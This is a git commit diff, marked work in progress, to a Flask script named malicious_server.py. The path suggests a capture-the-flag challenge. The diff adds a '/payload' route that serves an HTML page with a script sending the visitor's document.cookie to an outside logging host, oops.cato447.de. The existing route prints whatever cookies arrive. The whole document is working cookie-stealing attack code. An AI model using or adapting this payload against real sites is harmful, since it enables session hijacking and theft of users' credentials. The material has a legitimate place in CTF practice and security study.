WIP

2025-06-01 01:29:56 +02:00
parent 5cc21125e5
commit d800de05fb
5 changed files with 123 additions and 14 deletions
--- a/catthegray25/ezpz/dist-oops/malicious_server.py
+++ b/catthegray25/ezpz/dist-oops/malicious_server.py
@@ -6,5 +6,18 @@ def log():
    print(request.args.get("c"))
    return "", 204

+@app.route("/payload")
+def payload():
+    print("Sending payload")
+    return """<!DOCTYPE html>
+<html>
+  <body>
+    <script>
+      new Image().src = 'http://oops.cato447.de/log?c=' + document.cookie;
+    </script>
+  </body>
+</html>"""
+
 app.run(host="0.0.0.0", port=8025)

+